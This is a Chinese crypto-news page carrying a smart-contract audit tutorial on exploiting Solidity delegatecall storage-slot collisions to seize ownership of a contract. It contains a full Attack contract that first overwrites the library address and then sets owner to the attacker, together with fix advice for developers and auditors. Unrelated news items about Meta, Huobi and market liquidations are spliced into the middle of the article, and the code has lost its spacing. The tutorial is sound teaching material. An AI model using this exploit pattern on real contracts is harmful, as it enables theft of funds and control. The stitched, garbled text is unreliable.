比特幣交易所 比特幣交易所
Ctrl+D 比特幣交易所
ads

智能合約安全審計入門篇 —— delegatecall (2)_SOM

Author:

Time:1900/1/1 0:00:00

上篇文章中我們了解了什么是delegatecall函數以及一個基礎的漏洞,這篇文章的目的是加深一下大家對delegatecall的印象并帶大家一起去玩點刺激的,拿下一個進階版的漏洞合約。

這里就不再重復之前的基礎知識了,不了解或者遺忘的可以再看看上一篇文章:《智能合約安全審計入門篇——delegatecall(1)》。

漏洞示例

contractLib{??uintpublicsomeNumber;??functiondoSomething(uint_num)public{????someNumber=_num;??}}contractHackMe{??addresspubliclib;??addresspublicowner;??uintpublicsomeNumber;??constructor(address_lib){????lib=_lib;????owner=msg.sender;??}??functiondoSomething(uint_num)public{????lib.delegatecall(abi.encodeWithSignature("doSomething(uint256)",_num));??}}

Meta推出AI生成式音樂工具AudioCraft:金色財經報道,Facebook和Instagram的母公司Meta推出了一套生成式人工智能模型,稱為AudioCraft,目的是通過各種輸入進行音樂創作。這套生成式人工智能工具包括MusicGen和AudioGen,它們通過基于文本的輸入來創建新的音頻,還有另一個名為EnCodec的工具,它可以用更少的音損生成更高質量的音樂。Meta在公告中提到,其MusicGen模型是用其擁有或專門許可的音樂進行訓練的。此工具可與谷歌今年發布的類似工具MusicLM相媲美。[2023/8/4 16:19:02]

漏洞分析

這次的攻擊目標依然是獲得HackMe合約中的?owner?權限,我們可以看到兩個合約中除了HackMe合約中的構造函數可以修改合約的?owner?其他地方并沒有修改?owner?的函數。我們要如何完成攻擊呢?這里需要一點小技巧,大家可以思考一下,剛好也可以驗證一下自己對于之前知識的掌握程度以及自己的思維是否活躍。

孫宇晨:李林弟弟李偉多次通過不正常手段大量獲取零成本HT并拋售,將進行追繳和銷毀:5月16日消息,孫宇晨發推表示,李林弟弟李偉,多次通過不正常手段大量獲取零成本 HT,歷史上多次在火幣平臺內進行拋售,巨額提現,不僅玷污了李林在國內多年積累聲譽,損害了 HT 社區每一個人的利益,經火幣全球顧問委員會,HT DAO 社區決議 ,對于李偉零成本獲取的 HT 進行追繳,銷毀,HT 銷毀將在 HT 社區公示。對于此類行為,絕不姑息。[2023/5/16 15:06:08]

是否有想法呢?沒有想法也沒關系,我們一起來看攻擊是如何完成的:

攻擊合約

//SPDX-License-Identifier:MITpragmasolidity^0.8.13;contractAttack{??//MakesurethestoragelayoutisthesameasHackMe??//Thiswillallowustocorrectlyupdatethestatevariables??addresspubliclib;??addresspublicowner;??uintpublicsomeNumber;??HackMepublichackMe;??constructor(HackMe_hackMe){????hackMe=HackMe(_hackMe);??}??functionattack()public{????//overrideaddressoflib????hackMe.doSomething(uint(uint160(address(this))));????//passanynumberasinput,thefunctiondoSomething()belowwill????//becalled????hackMe.doSomething(1);??}??//functionsignaturemustmatchHackMe.doSomething()??functiondoSomething(uint_num)public{????owner=msg.sender;??}}

1月14日全網空單爆倉達4.921億美元,創去年10月以來新高:1月16日消息,Coinglass數據顯示,1月14日全網空單爆倉金額達4.921億美元,達到2022年10月以來的最高水平。其中OKX交易所的空單爆倉達2.566億美元,幣安的空單爆倉達1.253億美元,Huobi的空單爆倉達4154.84萬美元。[2023/1/16 11:14:53]

我們先看攻擊流程:

1.Alice部署Lib合約;

2.Alice部署HackMe合約并在構造函數中傳入Lib合約的地址;

3.攻擊者Eve部署Attack合約并在構造函數中傳入HackMe合約的地址;

4.攻擊者調用Attack.attack()函數將HackMe合約中的owner變為自己。

數據:ETH完成合并以來,ETC算力已下跌逾51%:10月5日消息,數據顯示,自9月15日以太坊完成合并以來,ETC 全網算力持續走低,已下跌逾51%至152.78TH/s。[2022/10/6 18:40:23]

咋回事兒呢?其實這個攻擊方式就是很巧妙的運用了delegatecall這個函數修改storage類型變量時的特征:delegatecall函數的執行環境是調用者的環境并且對于storage類型變量的修改是根據被調用合約變量存儲的插槽位置來修改的。

1.Attack.attack()函數先將自己的地址轉換為uint256類型第一次調用HackMe.doSomething()函數;

2.HackMe.doSomething()函數使用delegatecall函數帶著傳入的Attack合約的地址調用了Lib.doSomething()函數;

Band Protocol喂價服務新增支持Nervos上L2網絡Godwoken:9月22日消息,跨鏈預言機Band Protocol宣布,其喂價服務與Nervos上EVM兼容Layer2網絡Godwoken集成,目前主要為借貸項目Hadouken提供喂價。[2022/9/22 7:13:33]

3.可以看到Lib.doSomething()函數將合約中存儲位置為slot0的參數改為傳入的值,這樣當HackMe合約使用delegatecall調用Lib.doSomething()函數時也將改變自己在slot0位置存儲的變量的值,也就是將lib參數改為我們傳入的Attack合約的地址。此時之前在HackMe.lib參數中存儲的Lib合約的地址就被修改成我們傳入的Attack合約的地址了;

4.Attack.attack()函數再次調用HackMe.doSomething()函數,由于在上一步我們已經將HackMe.lib變量修改為Attack合約的地址了,這時HackMe.doSomething()函數將不再調用之前的Lib合約而是用delegatecall去調用Attack.doSomething()函數。此時我們再來觀察Attack合約的寫法,發現其變量的存儲位置故意和HackMe合約保持一致,并且不難發現Attack.doSomething()函數的內容也被攻擊者寫為owner=msg.sender,這個操作修改了合約中存儲位置為slot1的變量。所以HackMe合約使用delegatecall調用Attack.doSomething()函數就會將合約中存儲位置為slot1的變量owner修改為msg.sender也就是Eve的地址,至此攻擊者完成了他的攻擊。

修復建議

作為開發者

1.?在使用delegatecall時應注意被調用合約的地址不能是可控的;

2.?在較為復雜的合約環境下需要注意變量的聲明順序以及存儲位置。因為使用delegatecall進行外部調用時會根據被調用合約的數據結構來修改本合約相應slot中存儲的數據,當數據結構發生變化時這可能會造成非預期的變量覆蓋。

作為審計者

1.在審計過程中遇到合約中有使用delegatecall時需要注意被調用的合約地址是否可控;

2.當被調用合約中的函數存在修改storage變量的情況時需要注意變量存儲插槽的位置,避免由于數據結構不一致而導致本合約中存儲的storage變量被錯誤的覆蓋。

來源:金色財經

Tags:ACKHACSOMESOMquack幣的前景有銷毀嗎AlphacatSOMEESombra Network

比特幣價格今日行情
6月29日行情分析:是否會繼續下探呢?_MIC

當前的BTC小周期已經下跌了三天,小周期當前是有反彈的需求,但是不要幻想反彈的高度很高。逢高空是不錯的選擇 Michael Saylor:MicroStrategy將比特幣期貨視為加密策略的一部.

1900/1/1 0:00:00
一文了解無狀態 Rollup_ROLL

注:原文作者是AlexBeckett,目前就職于Celestia。全節點驗證區塊的方式,是通過下載所有交易并重新執行它們來檢查其有效性,毫不奇怪的是,更大的區塊會給全節點帶來更大的負擔,因為處理.

1900/1/1 0:00:00
被盜1億美元的Harmony 驗證者節點安全如何保障?_SACT

2022年6月24日,成都鏈安鏈必應-區塊鏈安全態勢感知平臺輿情監測顯示,由Layer1公鏈Harmony開發的以太坊與Harmony間的資產跨鏈橋Horizon遭到攻擊,損失金額約為1億美元.

1900/1/1 0:00:00
金色趨勢丨BTC二次探底機會到來?_SWAP

Alchemy Pay與Checkout.com合作擴大支付支持范圍:金色財經報道,法定加密支付網關Alchemy Pay今天宣布與母公司處理商Checkout.com建立合作關系.

1900/1/1 0:00:00
Bit.Store:熊市漫漫,穩定Staking產品或成主旋律_STORE

李笑來所著《韭菜的自我修養》一書中曾提到“每一次牛市都是市場上大量外部資金流入的結果,每一次熊市都是市場內部大量資金流出的結果.

1900/1/1 0:00:00
數字藏品再”出圈“無雙數科賦能傳統文化價值_ORIUM

黃梅戲、皮影戲、唐三彩、刺繡、泥人……這些都是中國傳統文化遺產和技藝的結晶,如今經過科技時代區塊鏈的應用,用戶只要通過手機APP就可以把這些藝術品永久的收藏下來.

1900/1/1 0:00:00
ads